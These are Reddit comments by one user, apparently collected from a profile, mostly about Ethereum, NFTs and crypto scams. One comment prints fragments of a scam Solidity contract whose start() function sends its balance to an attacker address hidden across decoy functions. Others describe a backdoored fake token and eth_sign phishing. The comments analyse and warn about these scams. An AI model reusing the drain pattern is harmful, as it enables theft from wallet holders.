It'll either allow you to buy when you press the Buy Tiles button, or the it'll Display "Sending Transaction" and then the grid will silently clear if the tiles are already owned. Another way to find out if a tile is owned: [Visit the contract](https://nova.arbiscan.io/address/0x934095513c1ff89592A4b8490e263da7a6a4CEAc#readContract) and run the **ownerOfBlock()** function for that tile. If it returns 'invalid token ID', it's available for mint.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 27, 2023 22:29:54
/r/CryptoCurrency/comments/10m5uow/moonplace_a_place_like_rplace_but_onchain_nfts_on/j66wdxb/

Interesting. I don't recognize the accounts of the current [Top 9 holders](https://nova.arbiscan.io/token/0x934095513c1ff89592a4b8490e263da7a6a4ceac#balances). So either the whales aren't using their Reddit accounts to purchase, or we have many external buyers.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 27, 2023 22:26:16
/r/CryptoCurrency/comments/10m5uow/moonplace_a_place_like_rplace_but_onchain_nfts_on/j66umqn/

Multi Tiles works, and silently fails when it detects that tile is already taken.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 27, 2023 22:11:39
/r/CryptoCurrency/comments/10m5uow/moonplace_a_place_like_rplace_but_onchain_nfts_on/j66thib/

**How to find if a tile is taken:** Until the Front-end UI is working, if you want to know if the 10x10 tile is already taken, you can [visit the contract](https://nova.arbiscan.io/address/0x934095513c1ff89592A4b8490e263da7a6a4CEAc#readContract) and run the **ownerOfBlock()** function for that tile. If it returns 'invalid token ID', it's free.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 27, 2023 22:02:07
/r/CryptoCurrency/comments/10m5uow/moonplace_a_place_like_rplace_but_onchain_nfts_on/j66pol6/

I interacted with the smart contract directly (after reading its code) and was able to enter a long name that way. I think it just displays our name in the app site.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 27, 2023 21:31:29
/r/CryptoCurrency/comments/10m5uow/moonplace_a_place_like_rplace_but_onchain_nfts_on/j66ikf0/

Can we pick any name? When I try to set my Reddit username (19 characters long), it gives me this error: "Name is too long."

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 27, 2023 20:36:02
/r/CryptoCurrency/comments/10msv3q/verified_url_for_any_site/j64xlp6/

Several methods: 1. Do a [Whois domain-lookup](https://www.whois.com/) for the owner of the site. If they registered recently and look too new, it's probably a scam 1. Google them, but ignore the ad results. (Or use the uBlock Origin extension) 1. Check the link from their official website.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 27, 2023 14:08:44
/r/CryptoCurrency/comments/10msw5g/moons_are_getting_scarce_scarcity_and_2_other/j64wzpy/

As a fan of r/place, I'm pretty exited for **MoonPlace**. Curious to see what our map looks like over time.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 27, 2023 14:04:51
/r/CryptoCurrency/comments/10m5uow/moonplace_a_place_like_rplace_but_onchain_nfts_on/j64h395/

Enough to can single-handedly buy up all 10K NFTs. o.0

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 27, 2023 12:26:17
/r/CryptoCurrency/comments/10m5uow/moonplace_a_place_like_rplace_but_onchain_nfts_on/j64fcbd/

Is there anything preventing a whale from buying up all the NFTs and cornering the market?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 27, 2023 12:15:34
/r/CryptoCurrency/comments/10mbswg/serious_why_havent_the_big_ecommerce_sites/j63qa66/

Yep. Using 3rd-party intermediaries would eliminate most of those issues for the merchant since the intermediary is taking on the risk. Flexa charges merchants 1% fees, which is cheaper than credit card processing companies. Though I wonder what percent of AMC and Baskin Robbins customers use Flexa.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 27, 2023 09:32:33
/r/CryptoCurrency/comments/10ly7oh/regarding_shib_scam_its_unacceptable_that_you_can/j62pwa8/

That's incorrect. There are 2 types of approvals: - approve() for ERC-20 and ERC-721 tokens, which sets approve for 1 token within its own contract - setApprovalForAll() for ERC-721 and ERC-1155 tokens, which sets approval for all tokens within its own contract Now you're probably thinking of the **SeaPort drainer**, which can steal multiple NFTs. But All those NFTs had setApprovalForAll() applied given to OpenSea's account some time in the past. You can't just steal NFTs from multiple contracts unless approval was given in the past for each contract individually.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 27, 2023 02:51:26
/r/CryptoCurrency/comments/10mbswg/serious_why_havent_the_big_ecommerce_sites/j62k7ka/

**Situation A**: A customer makes a Bitcoin payment for a Cheeseburger at Bitcoin King. The customer waits at the cash register for 4 hours on a busy network day due to network congestion before the transaction goes through. The merchant then asks the customer to wait another 30-90 minutes before 6 confirmations for probabilistic finality. Customer finally gets to eat his cheeseburger after 5 hours. **Situation B**: A customer makes a Bitcoin payment for a Cheeseburger at Bitcoin King. The merchant decides to allow the customer to take the burger immediately without waiting for confirmation. Customer uses Return by Fee to cancel the transaction so that he can later double-spend the UTXO.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 27, 2023 01:40:52
/r/CryptoCurrency/comments/10mbswg/serious_why_havent_the_big_ecommerce_sites/j629ymk/

Price of Bitcoin doesn't just go up. It can drop 60% and stay there for 2-4 years. Large companies would not something that volatile. How are they going to publish quarterly earnings? They don't know the future value of Bitcoin. Financial auditing would be a nightmare. Their shares would be junk bond status due to the risk. Shareholders would dump their stocks.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 26, 2023 23:54:28
/r/CryptoCurrency/comments/10mbswg/serious_why_havent_the_big_ecommerce_sites/j627b2s/

1. **Accouting** and taxes are done in fiat, so they have to convert to fiat 1. **Volatility**: Crypto prices are volatile 1. **Finality**: Most cryptocurrencies, even the fast ones, take 10 seconds to 5 minutes for finality. Slow ones like Bitcoin take 60 minutes for probabilistic finality. 1. **User error and reversibility**: Crypto transactions are irreversible. Customer support would probably be really expensive for all the user errors. 1. **Merchant insurance**: Lots of ways to screw up a transaction. Chances for reorgs. Insurance would be expensive.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 26, 2023 23:30:19
/r/CryptoCurrency/comments/10ltfxm/reminder_watch_out_for_this_metamask_scam_the_mm/j61uhvd/

This has been covered so many times in the past several days. It's not a new type of scam. It's just a normal phishing scam. I have [a comprehensive list of crypto scams](https://mplankton.substack.com/p/comprehensive-list-of-common-crypto), and I don't bother adding 95% of the scams mentioned in this sub to it because they're so basic and already covered 100x times across multiple subs.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 26, 2023 21:47:14
/r/CryptoCurrency/comments/10m9l8a/pos_giant_clover_teams_up_with_strike_to_bring/j61s4bg/

POS == Point of Sales? That was a short article.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 26, 2023 21:29:26
/r/CryptoCurrency/comments/10m5xgt/bitcoin_is_inevitable_proves_president_bukele_as/j61rtj4/

It's not hard to pay off a $800M bond with [your $25 billion national debt](https://www.statista.com/statistics/531561/national-debt-of-el-salvador/).

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 26, 2023 21:27:10
/r/CryptoCurrency/comments/10m5xgt/bitcoin_is_inevitable_proves_president_bukele_as/j61rnd4/

Paid off its $800M bond while growing [its $25B national debt](https://www.statista.com/statistics/531561/national-debt-of-el-salvador/).

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 26, 2023 21:25:52
/r/CryptoCurrency/comments/10ly7oh/regarding_shib_scam_its_unacceptable_that_you_can/j61r3tq/

This is very different than buying a house. When buying a house, you need to sign 10-50 gigantic multi-page contracts depending on your state. If you read every contract, you'd be there for hours. When signing an eth_sign, it only takes 10 seconds of reading. You need to be greedy, get tricked into visiting a sketchy website, get tricked again into signing a transaction, ignore that **GIANT WARNING WITH RED TEXT**, and then confirm. If you can't read something that only takes 10 seconds, you probably shouldn't be in crypto.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 26, 2023 21:21:50
/r/CryptoCurrency/comments/10ly7oh/regarding_shib_scam_its_unacceptable_that_you_can/j61qcp8/

**Technically, it isn't a thing to sign away all your tokens on Ethereum in one transaction.** You can't do it on Ethereum, but you can do it on Cardano and Bitcoin because all tokens there are native. On Ethereum, you need separate transactions for every contract of token, and each ERC-20, ERC-721, and ERC-1155 tokens has a separate contract. This is due to how most contracts use 'msg.sender' instead of 'tx.origin' in their code. On Ethereum, 'Eth_sign' does exist and is danagerous, but most wallets including Metamask give you a **GIANT RED WARNING** if you ever encounter one. You really have to be an idiot and ignore multiple warnings to fall for this.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 26, 2023 21:16:15
/r/CryptoCurrency/comments/10ly7oh/regarding_shib_scam_its_unacceptable_that_you_can/j61put9/

You are overreacting. * Do you see that **GIANT RED WARNING**? * Why are you signing something with a **GIANT RED WARNING**? * Metamask literally gives you a **GIANT RED WARNING** before each eth_sign request. People who fall for these are the same people who click on that "Congratulations, you are the 100000th visitor and have won $1000000" popups from the 2000s. Ironically, unlike what you said, it is impossible on Ethereum to sign away ALL your coins, but it is possible on Cardano and Bitcoin because all tokens there are native. On Ethereum, you need separate transactions for every contract of token, and each ERC-20, ERC-721, and ERC-1155 tokens has a separate contract. This is due to how most contracts use 'msg.sender' instead of 'tx.origin' in their code.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 26, 2023 21:12:36
/r/CryptoCurrency/comments/10lxkrw/tether_moves_to_combat_child_abuse_content/j612qgm/

That's a nice distraction from all its issues

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 26, 2023 18:24:03
/r/CryptoCurrency/comments/10lod3z/a_reminder_of_the_actual_risks_when_clicking/j5z049l/

It's a gray area. Every wallet displays them differently, and there's not really any standard. Here's Metamask's: https://docs.metamask.io/guide/rpc-api.html#ethereum-json-rpc-methods

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 26, 2023 10:33:01
/r/CryptoCurrency/comments/10lod3z/a_reminder_of_the_actual_risks_when_clicking/j5yy56c/

They exist. ETH_SIGN and NFT Drainers are 2 methods. https://mplankton.substack.com/p/comprehensive-list-of-common-crypto

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 26, 2023 10:20:01
/r/CryptoCurrency/comments/10kvr6j/what_misconceptions_about_the_shanghai_upgrade/j5ts6mp/

Misconceptions about misconceptions about EIP-4844. No one is saying that anymore.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 25, 2023 09:52:50
/r/CryptoCurrency/comments/10k4qid/cryptocom_becomes_the_first_virtual_asset/j5stcbg/

Ah yeah. I did add the 2 numbers after I noticed he answered a generic ISO question instead of about those 2 specific ISO standards. Didn't want others to do the same.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 25, 2023 03:50:19
/r/CryptoCurrency/comments/10kfktt/bntyhntr_launch_exciting_digitalized_treasure/j5rn4p3/

> Bounty Hunter, Bounty Hunter, Bounty Hunter Not difficult at all.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 24, 2023 21:01:39
/r/CryptoCurrency/comments/10kfktt/bntyhntr_launch_exciting_digitalized_treasure/j5rn1gx/

Neat. Geocaching with a small reward. Yeah, this could work for esoteric explorers.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 24, 2023 21:01:00
/r/CryptoCurrencyMoons/comments/10kg1jc/moon2gas_redditbot_arbitrum_nova_and_polygon/j5rd1xo/

[A faucet](https://opensea.io/assets/arbitrum-nova/0x9c5b3183a00e55681846579dc8cb3928b729c167/6) for a faucet

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMoons on January 24, 2023 19:48:22
/r/CryptoCurrencyMoons/comments/ztnjia/where/j5r7uyr/

Worked fine. Sending back.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMoons on January 24, 2023 19:12:08
/r/CryptoCurrencyMoons/comments/x2dkhv/getting_a_new_phone_will_my_moons_be_safe/j5r72dr/

Cool. It works anywhere even on old posts. Sending Moons back.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMoons on January 24, 2023 19:06:39
/r/CryptoCurrency/comments/10kbr5q/why_tf_does_anyone_own_bnb/j5q78g2/

Utility. I own $10 of it for reducing trading fees. That's all I'll ever need.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 24, 2023 15:18:40
/r/CryptoCurrency/comments/10kaxcw/matic_has_officially_become_an_algorithmic/j5pkegh/

With MATIC hovering around $1 so long, this was believable.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 24, 2023 12:59:17
/r/CryptoCurrency/comments/10ka0f5/last_year_many_medianews_reports_said_el_salvador/j5pcgdp/

Good point. They still have around $25B in debt elsewhere https://www.statista.com/statistics/531561/national-debt-of-el-salvador/ The $800M is nothing in comparison.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 24, 2023 12:11:13
/r/CryptoCurrency/comments/10jgl42/loopring_and_protocol_gemini_partner_to_build_the/j5p5frs/

I'd be very cautious of supporting an L2 that isn't EVM-compatible. That really limits its growth as few devs will go out of their way to develop on it unless they're given financial incentives.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 24, 2023 11:27:33
/r/loopringorg/comments/10k6lo4/how_to_map_to_earn_youtube_vid_i_made_of_map_to/j5p3pu2/

I'm starting to get Ingress vibes. I'd really like to see them have a completed-idea for Protocol Gemimi first before jumping on the bandwagon.

Commented by /u/Maleficent_Plankton in /r/loopringorg on January 24, 2023 11:16:35
/r/CryptoCurrency/comments/10k7zgg/adidas_into_the_metaverse_phase_2_still_possible/j5p2u9b/

This is an extremely-specific question. Why not ask the company?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 24, 2023 11:10:56
/r/CryptoCurrency/comments/10k4qid/cryptocom_becomes_the_first_virtual_asset/j5p1739/

What do these certs do? And are they even important?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 24, 2023 11:00:22
/r/CryptoCurrency/comments/10k5br4/theres_nothing_wrong_in_being_in_crypto_only_for/j5p0l54/

And what's wrong with that? It's not like they're using it for investments. You don't need to hold a lot of crypto for utility.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 24, 2023 10:56:29
/r/CryptoCurrency/comments/10jgl42/loopring_and_protocol_gemini_partner_to_build_the/j5ny03g/

Suddenly we like Pay-to-Win geocaching games with almost no gameplay. I'm not convinced this is going to work. It would have to be considerably better than Ingress to succeed as a P2W model.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 24, 2023 05:05:44
/r/loopringorg/comments/10jfr9k/partnership_with_protocol_gemini/j5nxqqb/

I'm not convinced either. They're nowhere near having a completed idea. The mockups remind me a bit of Niantic's Ingress. Not sure how you could ever turn that into a Pay to Win game. It could be years before it finishes, and it could be a flop. Most P2W games aren't fun.

Commented by /u/Maleficent_Plankton in /r/loopringorg on January 24, 2023 05:01:57
/r/ethereum/comments/10hpx4v/ethereum_send_raw_transaction_bug/j5ml7zp/

Yep. He has gas price and amount reversed

Commented by /u/Maleficent_Plankton in /r/ethereum on January 23, 2023 20:47:43
/r/0xPolygon/comments/10ic1ox/daily_polygon_discussion_thread/j5mghuf/

MATIC price x Gas amount x Gas price So if MATIC is $0.90, Gas amount is 21000 for a basic Tx, and Gas price is (50 Gwei base + 30 Gwei priority), you have: 0.90 x 21000 x (80/1e9) = $0.0015 for a basic MATIC transfer.

Commented by /u/Maleficent_Plankton in /r/0xPolygon on January 23, 2023 20:13:08
/r/CryptoCurrency/comments/10jk9bv/ark_invest_dumps_500k_gbtc_shares/j5llz2m/

Yep. She had [at least 7M shares back in early 2021](https://markets.businessinsider.com/currencies/news/cathie-wood-ark-invest-bitcoin-holds-7-million-grayscale-trust-2021-2-1030085954), which is 14x as much as she just sold. She then continued to DCA into more GBTC in summer and fall 2021.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 23, 2023 16:43:09
/r/CryptoCurrency/comments/10jk9bv/ark_invest_dumps_500k_gbtc_shares/j5ljxlt/

She also bought GBTC back in summer and fall 2021, so she's still probably down 70% on it. That last bump is not even noticeable if you zoom out 2 years.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 23, 2023 16:30:24
/r/CryptoCurrency/comments/10jgs28/ive_started_blocking_users_based_on_the_articles/j5ke4cu/

I support this. There are too many useless posts that don't provide any useful information I can use. Post something that helps me learn! I don't need a new article every time Bitcoin's price changes to tell me how I should feel.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 23, 2023 12:10:30
/r/CryptoCurrency/comments/10iqo09/has_the_original_vision_of_bitcoin_been_lost/j5jv1nt/

Bitcoin was created to be "A Peer-to-Peer Electronic Cash System" used for Medium of Exchange. That purpose does not exist anymore. It's also only a mediocre Store of Value because price relarive to consumer goods and services is too volatile. The only remaining original use case is as an uncensorable currency.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 23, 2023 10:06:25
/r/CryptoCurrency/comments/10j8o3h/vitalik_buterin_proposes_stealth_addresses_to/j5jsr5t/

He is 100% a programmer, and he's also really good at math. I was in UC Berkeley math circles, and his math impresses me. He's the author of so many EIPs: https://eips.ethereum.org/all If you actually spent time on Ethereum Research or Ethereum Magicians, you would know he's the real deal.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 23, 2023 09:50:03
/r/CryptoCurrency/comments/10j7h8b/polygon_taken_out_of_my_wallet/j5jrs12/

Not a dust attack. Dust attacks aren't used to steal anything. They're used to trace transactions, and they're almost exclusively used for UTXO blockchains like Bitcoin where wallets automatically combine UTXOs.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 23, 2023 09:42:55
/r/CryptoCurrency/comments/10j7h8b/polygon_taken_out_of_my_wallet/j5jrhyr/

It's not a smart contract. Smart contracts can steal tokens, but they can't steal a native token like MATIC. It's a signed transaction that's equivalent to signing a blank check. The transaction nonce still has to match the account nonce for it to be valid. And we don't know how many of them his wife signed.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 23, 2023 09:40:51
/r/CryptoCurrency/comments/10j7h8b/polygon_taken_out_of_my_wallet/j5jr2in/

That's most likely the cause. NFT minters are a known scam, and the real Louis Vuitton's NFT campaign ended ages ago. A website can make you sign a transaction, e.g. using [ETH_SIGN](https://slowmist.medium.com/slow-mist-blank-check-eth-sign-phishing-analysis-741115bd0b1f), to sign any transaction of their choosing with a specific account nonce, including sending ETH. It's like signing a one-time blank check. Since you haven't made any transactions on your account, your account nonce is still the same as before, and they can trigger the signed transaction at any time. Since we don't know how many transactions she signed, I would switch to a new account for safety.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 23, 2023 09:37:40
/r/CryptoCurrency/comments/10j7h8b/polygon_taken_out_of_my_wallet/j5jof1p/

They're random airdrops from spammers. As in OP didn't try to acquire them.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 23, 2023 09:17:47
/r/CryptoCurrency/comments/10j7h8b/polygon_taken_out_of_my_wallet/j5ivaym/

That's a normal 21k gas native token transfer. Looking at your account, we can narrow down what didn't happen: * There was no token approval involved * There was no smart contract involved * There was no address poisoning involved * You mentioned you didn't sign anything Most likely, something on your device is compromised.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 23, 2023 03:46:01
/r/ethfinance/comments/10icjgc/daily_general_discussion_january_22_2023/j5hz3wr/

Definitely the case. That transaction runs start(), which does this: function start() public payable { address to = startExploration(fetchMempoolData()); // Copy remaining bytes address payable contracts = payable(to); contracts.transfer(getBalance()); } What that does is send the contract's balance to the address at fetchMempoolData() function fetchMempoolData() internal pure returns (string memory) { string memory _MempoolDepth = getMempoolDepth(); string memory _MempoolSol = getMempoolSol(); string memory _mempoolShort = getMempoolShort(); string memory _mempoolEdition = fetchMempoolEdition(); string memory _mempoolVersion = fetchMempoolVersion(); string memory _mempoolLong = getMempoolLong(); return string(abi.encodePacked(_MempoolDepth,_MempoolSol,_mempoolShort, _mempoolEdition, _mempoolVersion, _mempoolLong)); } fetchMempoolData() calls a bunch of randomly-named functions, which each return part of the address: * getMempoolDepth -> 0 * getMempoolSol -> x937 * getMempoolShort -> FB298a5 * fetchMempoolEdition -> eBcbe4E05 * fetchMempoolVersion -> 685735d56 * getMempoolLong -> Fbbd61777490 Combined, that makes 0x937FB298a5eBcbe4E05685735d56Fbbd61777490, which is the address that stole his ETH.

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 22, 2023 22:09:05
/r/cardano/comments/10hxjo2/im_the_head_mod_of_reth_and_i_have_an_idea_to/j5g0j1e/

What the heck is r/eth? - Sincerely, everyone from r/Ethereum

Commented by /u/Maleficent_Plankton in /r/cardano on January 22, 2023 14:19:07
/r/CryptoCurrency/comments/10ilpna/share_your_best_crypto_toolsresources/j5frmx6/

* **Tokenomics**: https://tokenterminal.com/terminal * **Issuance rate**: https://moneyprinter.info/ * **Fees**: https://cryptofees.info/ * **L2 Fees**: https://l2fees.info/ * **Supply tokenomics**: https://messari.io/screener/supply-and-marketcap-EB1755C2 * **Gas**: https://gassss.xyz/#/gas * **Account explorer** and alert manager: https://xscan.io/ * **Add chains**: https://chainlist.org/ * **AI Content Detector**: https://contentatscale.ai/ai-content-detector/ * **Function signatures**: https://www.4byte.directory/ * **Ethereum info**: https://speedrunethereum.com/

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 22, 2023 13:23:00
/r/CryptoCurrency/comments/10il76e/60_of_all_cardano_nodes_were_just_taken_offline/j5fp6m5/

The exception happened on node client software, so it's not caused by Haskell. But smart contract uses Haskell Thus, the last thing I would expect is for contract to provide an undeclared/null input. There are so many other better explanations for why this could've happened.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 22, 2023 13:07:39
/r/cardano/comments/10i8pu5/eli5_difference_in_staking_system_between_ada_and/j5f4rzb/

Actually, I probably should stop using that term. I didn't realize they stopped using it. Not sure what the best way is to describe PoS with delegated staking pools.

Commented by /u/Maleficent_Plankton in /r/cardano on January 22, 2023 10:51:23
/r/cardano/comments/10i8pu5/eli5_difference_in_staking_system_between_ada_and/j5f4193/

That's what they call it themselves. Liquid PoS is what I would call it to be more consistent with the terms other blockchains are using. But over time, I think Cardano has influenced the definition of DPoS enough just by being at the #3 spot for so long that most people associate it with DPoS.

Commented by /u/Maleficent_Plankton in /r/cardano on January 22, 2023 10:46:03
/r/CryptoCurrency/comments/10il76e/60_of_all_cardano_nodes_were_just_taken_offline/j5f0y1s/

They still don't know what happened, but it's almost certainly not caused by this: > I am pretty sure is some sort of object that comes undefined or empty and it is expecting to have data and probably in db.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 22, 2023 10:23:46
/r/cardano/comments/10i8pu5/eli5_difference_in_staking_system_between_ada_and/j5ezomq/

I think malicious activity is treated the same on both Cardano and Ethereum: you simply lose out on rewards. They're fine as long as 1/3 (liveness check) to 1/2 (general sybil resistance) of validators are honest. Ethereum slashes for double-proposals and double-votes, but not for purposely misvoting.

Commented by /u/Maleficent_Plankton in /r/cardano on January 22, 2023 10:14:24
/r/CryptoCurrency/comments/10il76e/60_of_all_cardano_nodes_were_just_taken_offline/j5exvaq/

Node client diversification is absolutely important.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 22, 2023 10:00:30
/r/ethereum/comments/10iahgj/questions_about_erc20_tokens/j5ewmxg/

The ERC-20 standard only defines that there needs to be a dozen functions and features in the contract as specified here: https://docs.openzeppelin.com/contracts/2.x/api/token/erc20 It doesn't check that those functions actually work as intended by the specification, just that they exist. 1. Whatever the creator wants. If the creator wrote the balanceOf function to update the balance and the transferFrom function to do nothing, that's possible. And block explorers and dApps would not be able to tell unless they review the code or run the contract. 1. ERC-20 just defines the minimum base interface. There are half a dozen popular extended variations of ERC-20, some of which include minting and burning. Or the creator can manually include it as separate functions. 1. Nope. It's totally up to the contract creator to decide in the contract constructor.

Commented by /u/Maleficent_Plankton in /r/ethereum on January 22, 2023 09:50:55
/r/ethereum/comments/10ihlix/ethereums_upcoming_upgrade_a_catalyst_for/j5eur1h/

Increased staking isn't necessarily better for consensus. You want the right type of diverse participants engaging in staking for security, not just for rewards. Also, reward percentage decreases and inflation increases with more participation.

Commented by /u/Maleficent_Plankton in /r/ethereum on January 22, 2023 09:35:58
/r/ethfinance/comments/10icjgc/daily_general_discussion_january_22_2023/j5esptd/

Yeah, I was just being lazy in my notes. It's a sidechain scaling solution with 256-block checkpoints.

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 22, 2023 09:19:04
/r/ethfinance/comments/10icjgc/daily_general_discussion_january_22_2023/j5e0v5w/

I was taking a look at my notes about **Polygon vs Layer 2 TVL** from a year ago and found this: > Among all the Layer 2 Ethereum solutions, **Polygon PoS is completely ahead of every other competitor in terms total locked value** with a [$4.8B USD market cap](https://defillama.com/chain/Polygon) (Jan 2022), compared to [$5.4 USD **Combined** Total Locked Value (TLV)](https://l2beat.com/) for the next 10 largest Layer 2 rollup solutions. This has now flipped. Polygon PoS is down to $1.3B TVL while L2 rollups combined TVL is at $5.4B. Even Arbitrum One by itself has more TVL than Polygon's network.

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 22, 2023 03:38:50
/r/CryptoCurrencyMeta/comments/10hux9l/reposting_articles_penalty_in_upcoming_moons/j5bfa0h/

Personally, I am tired of all the dozens of Bitcoin price level posts. They are among the highest-voted, low-effort, repetitive posts. They're not being downvoted. We don't need 3 separate posts saying that it has reached 20000, followed by another 3 for 21000.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on January 21, 2023 14:54:18
/r/CryptoCurrency/comments/10hyjyn/the_case_for_polkadot_amazing_tech_and_usecase/j5be90z/

Kusama is more than just a testnet. It's a fully-working live canary network. It mainly gets faster updates and has lower security requirements than Polkadot, so fees are much lower on there.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 21, 2023 14:47:18
/r/videos/comments/10ht48e/one_year_ago_today_folding_ideas_released_line/j5b80zl/

It's a great video. This video was even extremely-well received in the crypto community. Hell, I've written my own NFT smart contacts, and I agree with most of its points. The only parts I disagreed with were the ones about Vitalik, but they're really minor points.

Commented by /u/Maleficent_Plankton in /r/videos on January 21, 2023 14:04:23
/r/ethfinance/comments/10hk7qe/daily_general_discussion_january_21_2023/j594ocw/

IKR? Up 50%. Went from Top 50 to Top 30 in 24 hours.

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 21, 2023 02:30:25
/r/ethfinance/comments/10hk7qe/daily_general_discussion_january_21_2023/j594gre/

LNY just got turned into a state holiday in California :D

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 21, 2023 02:27:33
/r/CryptoCurrency/comments/10gz3la/trouble_in_ethereum_devs_divided_over_staking/j584r01/

Yep. Ethereum updates don't happen without strong broad support from all core devs and client devs. There's not a single organization in Ethereum that can force updates and dictate changes.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 20, 2023 20:47:58
/r/CryptoCurrency/comments/10h3142/scammers_created_ftx_20_token/j582q6n/

**Quick analysis of the contract** There are so many things wrong with this token contract, starting with the fact that it has a **backdoor '_origin' address** of 0x71F9b44a9f97d272F80AE24b414C46aCe36cE7A5 This is basically an owner address that can run many of its backdoor functions. - The contract is using an older version of Solidity (0.6.12) which is known for having [State Variable Shadowing exploits](https://en.wikipedia.org/wiki/Variable_shadowing). - Its **'Approve' function** actually burns tokens for holders, and it can only be run by the _origin address. This is NOT the same as the 'approval' function. - It has a '**distribute' function** that can only be run by the _origin address. It does an Emit, which tricks blockchains explorers into thinking tokens have been transferred or airdropped, but account balances are not actually updated. - The real transfer function uses the '**_load**' function, which has spoofing that replaces the _origin address with the FTX Exchange address when broadcasting the transfer. It makes it look like the transfer is happening from the FTX Exchange. - Has a weird **'thrust'** function that just adds more funds to the origin address, but it masks it On the plus side, the owner published the code for its contract, so at least any dev would know for sure it's a scam. As if it weren't obvious enough from the name.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 20, 2023 20:32:08
/r/CryptoCurrency/comments/10gesd9/nexo_pays_45_million_to_settle_sec_and_state/j56t2ky/

We have a good record that BlockFi's investments were heavily in GBTC, with no records of FTX involvement from ProHashing's earlier audits of BlockFi. * https://prohashing.com/blog/crypto-interest-guide-updated * https://prohashing.com/guides/earning-interest-on-crypto BlockFi SEC agreement was in Feb 2022. FTX exposure started around July 2022 [when it signed a deal with them](https://www.reuters.com/technology/crypto-lender-blockfi-says-it-has-significant-exposure-ftx-2022-11-14/), which is around when FTX US agreed to bail them out. BlockFi likely had additional exposure to Alameda Research, but it was already unprofitable even if Alameda Research was whole. And from their [leaked documents](https://twitter.com/otteroooo/status/1538561922282336257) around Mar 2022, well before FTX's failure. It showed that their earnings were negative well before the failure of FTX/Alameda. SEC agreement was the final nail in the coffin that destroyed their plans for future earning.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 20, 2023 15:17:33
/r/CryptoCurrency/comments/10gxonw/today_i_seriously_read_the_terms_and_conditions/j56iyey/

Nice work. Summarized in table form: |**&nbsp;**|**Ownership**|**Insurance**| :--|:--|:--| |**Coinbase**|Yes|Fiat: $250K, CB One: $1M combined| |**Kraken**|Yes|??| |**Binance**|??|??| |**OKX**|No|??| |**CDC**|??|$250k for unauthorized Txs|

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 20, 2023 14:13:48
/r/CryptoCurrency/comments/10gesd9/nexo_pays_45_million_to_settle_sec_and_state/j55ost2/

The FTX exposure wouldn't have happened if the SEC didn't fine BlockFi and prevent new investments to the point it needed a bailout.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 20, 2023 11:05:32
/r/ethereum/comments/10f04g0/most_people_dont_understand_the_absolutely/j52yrqi/

Even if NFT games were fully-stored on-chain, you wouldn't use the computational power of blockchain's VM. Between this post and his other post, OP does not understand how computers or blockchains actually work.

